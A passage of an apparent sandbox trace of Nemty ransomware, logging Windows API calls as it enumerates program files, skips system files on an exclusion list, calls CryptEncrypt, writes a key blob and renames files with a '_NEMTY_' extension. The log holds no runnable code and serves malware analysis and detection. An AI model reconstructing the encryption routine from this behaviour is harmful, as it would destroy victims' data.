lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.514] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0077.514] CloseHandle (hObject=0xffffffff) returned 0 [0077.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0077.514] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0077.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0077.514] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0077.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0077.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0077.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0077.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x4f942b0 [0077.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0077.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0077.514] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg.wmv._nemty_kgobjgd_")) returned 0 [0077.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0077.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0077.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0077.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0077.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0077.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0077.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0077.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0077.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0077.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0077.515] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7223f430, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7223f430, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ecf6083, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd43ca, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="Scenes_LOOP_BG_PAL.wmv", cAlternateFileName="")) returned 1 [0077.515] lstrcmpiW (lpString1="Scenes_LOOP_BG_PAL.wmv", lpString2=".") returned 1 [0077.515] lstrcmpiW (lpString1="Scenes_LOOP_BG_PAL.wmv", lpString2="..") returned 1 [0077.515] lstrcmpiW (lpString1="Scenes_LOOP_BG_PAL.wmv", lpString2="...") returned 1 [0077.515] lstrcmpiW (lpString1="Scenes_LOOP_BG_PAL.wmv", lpString2="windows") returned -1 [0077.515] lstrcmpiW (lpString1="Scenes_LOOP_BG_PAL.wmv", lpString2="$RECYCLE.BIN") returned 1 [0077.515] lstrcmpiW (lpString1="Scenes_LOOP_BG_PAL.wmv", lpString2="rsa") returned 1 [0077.515] lstrcmpiW (lpString1="Scenes_LOOP_BG_PAL.wmv", lpString2="NTDETECT.COM") returned 1 [0077.515] lstrcmpiW (lpString1="Scenes_LOOP_BG_PAL.wmv", lpString2="ntldr") returned 1 [0077.515] lstrcmpiW (lpString1="Scenes_LOOP_BG_PAL.wmv", lpString2="MSDOS.SYS") returned 1 [0077.515] lstrcmpiW (lpString1="Scenes_LOOP_BG_PAL.wmv", lpString2="IO.SYS") returned 1 [0077.515] lstrcmpiW (lpString1="Scenes_LOOP_BG_PAL.wmv", lpString2="boot.ini") returned 1 [0077.515] lstrcmpiW (lpString1="Scenes_LOOP_BG_PAL.wmv", lpString2="boot.ini") returned 1 [0077.515] lstrcmpiW (lpString1="Scenes_LOOP_BG_PAL.wmv", lpString2="AUTOEXEC.BAT") returned 1 [0077.515] lstrcmpiW (lpString1="Scenes_LOOP_BG_PAL.wmv", lpString2="ntuser.dat") returned 1 [0077.515] lstrcmpiW (lpString1="Scenes_LOOP_BG_PAL.wmv", lpString2="desktop.ini") returned 1 [0077.515] lstrcmpiW (lpString1="Scenes_LOOP_BG_PAL.wmv", lpString2="CONFIG.SYS") returned 1 [0077.515] lstrcmpiW (lpString1="Scenes_LOOP_BG_PAL.wmv", lpString2="RECYCLER") returned 1 [0077.515] lstrcmpiW (lpString1="Scenes_LOOP_BG_PAL.wmv", lpString2="BOOTSECT.BAK") returned 1 [0077.515] lstrcmpiW (lpString1="Scenes_LOOP_BG_PAL.wmv", lpString2="bootmgr") returned 1 [0077.515] lstrcmpiW (lpString1="Scenes_LOOP_BG_PAL.wmv", lpString2="programdata") returned 1 [0077.515] lstrcmpiW (lpString1="Scenes_LOOP_BG_PAL.wmv", lpString2="appdata") returned 1 [0077.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0077.515] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Scenes_LOOP_BG_PAL.wmv", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0077.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0077.515] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Scenes_LOOP_BG_PAL.wmv", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Scenes_LOOP_BG_PAL.wmv", lpUsedDefaultChar=0x0) returned 22 [0077.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0077.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0077.515] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Scenes_LOOP_BG_PAL.wmv", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0077.516] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0077.516] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Scenes_LOOP_BG_PAL.wmv", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Scenes_LOOP_BG_PAL.wmv", lpUsedDefaultChar=0x0) returned 22 [0077.516] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0077.516] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0077.516] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0077.516] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0077.516] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Scenes_LOOP_BG_PAL.wmv", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0077.516] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0077.516] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Scenes_LOOP_BG_PAL.wmv", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Scenes_LOOP_BG_PAL.wmv", lpUsedDefaultChar=0x0) returned 22 [0077.516] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0077.516] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0077.516] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Scenes_LOOP_BG_PAL.wmv", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0077.516] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0077.516] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Scenes_LOOP_BG_PAL.wmv", cchWideChar=22, lpMultiByteStr=0x4f9ed58, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Scenes_LOOP_BG_PAL.wmv", lpUsedDefaultChar=0x0) returned 22 [0077.516] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0077.516] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0077.516] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0077.516] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0077.516] Sleep (dwMilliseconds=0x5) [0077.530] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe1dbb670, dwHighDateTime=0x1d561e7)) [0077.530] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe1dbb670, dwHighDateTime=0x1d561e7)) [0077.530] GetLastError () returned 0x5 [0077.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0077.530] GetLastError () returned 0x5 [0077.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0077.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0077.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0077.530] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0077.530] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0077.530] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0077.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0077.531] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="opPq56w7RlSlZu+FnR7m1Bhnz3GMtGWoMzkRL+PMRKkjO3y330MKYhbL42q03gOC\r\npIol921xOZyY1qK5ouOmQc0hZ667Dgaf02x7kMD5N/RW89TWDNAyv0HKirrBsQRW\r\n2+RaffxGun45tTfSnnOh4zpSdcILocoJxlyxeoEU9p+nVo/onM6uVEZux9OQemDI\r\nEBEq7JWLy7Ga6U6P+mFEKBiy9+aDqgehiq6RNnn1YOEafQ2XAqjfTRX/u0ISlvVv\r\n7Y/xAM1krDviWzlJ03XbaDi/o6Fh8Ix0J7k5LQYOM55PfXEGt1D5v2SNEEY0hY1q\r\n+Uhk12BLObAZRImzQmLTag==\r\n", pcchString=0x653e91c) returned 1 [0077.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0077.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0077.531] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0077.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0077.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0077.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0077.531] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0077.531] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0077.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0077.531] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.531] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.540] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.540] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.540] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.540] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.550] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.550] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.550] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.550] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.559] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.559] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.559] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.559] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.568] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.569] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.569] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.569] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.578] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.578] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.578] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.578] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.588] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.588] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.588] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.588] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.597] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.597] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.597] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.597] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.606] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.606] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.607] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.607] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.616] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.616] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.616] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.616] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.625] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.625] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.625] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.626] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.631] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.631] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.632] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.632] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0077.638] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.638] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.638] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0077.638] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0077.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0077.638] CloseHandle (hObject=0xffffffff) returned 0 [0077.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0077.638] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0077.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0077.638] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0077.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0077.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0077.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942b0 [0077.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0077.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0077.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0077.638] MoveFileW (lpExistingFileName="C:\\Program 